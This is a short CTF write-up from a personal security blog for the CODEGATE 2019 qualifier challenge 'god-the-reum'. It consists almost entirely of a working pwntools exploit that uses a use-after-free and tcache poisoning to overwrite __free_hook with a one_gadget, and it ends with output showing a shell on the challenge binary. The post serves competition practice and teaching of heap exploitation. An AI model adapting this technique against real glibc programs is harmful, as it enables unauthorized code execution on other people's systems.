CODEGATE 2019 QUAL - god-the-reum

2019. 1. 29. 23:21·CTF/2019

Category : pwnable

Summary : use-after-free, tcache, __free_hook

Exploit

#!/usr/bin/python

from pwn import *

def cmd_create(amount):
   ru(': ')
   sl(str(1))
   ru(': ')
   sl(str(amount))

def cmd_deposit(wallet_no, amount):
   ru(': ')
   sl(str(2))
   ru(': ')
   sl(str(wallet_no))
   ru(': ')
   sl(str(amount))

def cmd_withdraw(wallet_no, amount):
   ru(': ')
   sl(str(3))
   ru(': ')
   sl(str(wallet_no))
   ru(': ')
   sl(str(amount))

def cmd_show():
        res = []
        ru(': ')
        sl(str(4))
        ru('========== My Wallet List =============\n')
        while 1:
            line = rl(False)
            if line == '':
                break
            res.append(int(line.split('ballance ')[1]))
        return res

def cmd_new_eth(wallet_no, new_eth):
        ru(': ')
        sl(str(6))
        ru(': ')
        sl(str(wallet_no))
        ru(': ')
        sl(new_eth)

s = process('./god-the-reum')
#s = remote('110.10.147.103', 10001)
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

cmd_create(0x420)   # 0
cmd_create(0x50)    # 1

cmd_withdraw(0, 0x420) # free
cmd_withdraw(1, 0x50)  # free

libc_leak, _= cmd_show()
libc_base = libc_leak - 0x3ebca0
malloc_hook = libc_base + 0x3ebc30
free_hook = libc_base + 0x3ed8e8
libc_one_gadget = libc_base + 0xe569f

cmd_new_eth(1, p64(free_hook))
# (0x60)   tcache_entry[4]: 0x5623649f77b0 --> 0x7f51275e38e8

cmd_create(0x50)    # 2
cmd_create(0x50)    # 3

cmd_new_eth(3, p64(libc_one_gadget))
cmd_withdraw(2, 0x50)
ru('withdraw? : ')

s.interactive()
s.close()
$ python exploit.py
[+] Starting local process './god-the-reum': pid 2779
[*] Switching to interactive mode
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)
저작자표시 비영리 변경금지 (새창열림)

'CTF > 2019' 카테고리의 다른 글

0CTF 2019 - Fast&Furious  (0) 2019.07.21
0CTF 2019 - Fast&Furious2  (0) 2019.07.21
CODEGATE 2019 QUAL - cg_casino  (1) 2019.01.31
CODEGATE 2019 QUAL - Maris_shop  (0) 2019.01.31
'CTF/2019' 카테고리의 다른 글
  • 0CTF 2019 - Fast&Furious
  • 0CTF 2019 - Fast&Furious2
  • CODEGATE 2019 QUAL - cg_casino
  • CODEGATE 2019 QUAL - Maris_shop
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    csaw ctf
    HUST
    web
    정보보호올림피아드
    POC
    pwnables
    HUST2011
    후기
    gnuboard
    csaw
    vuln
    power of community
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
CODEGATE 2019 QUAL - god-the-reum
상단으로

티스토리툴바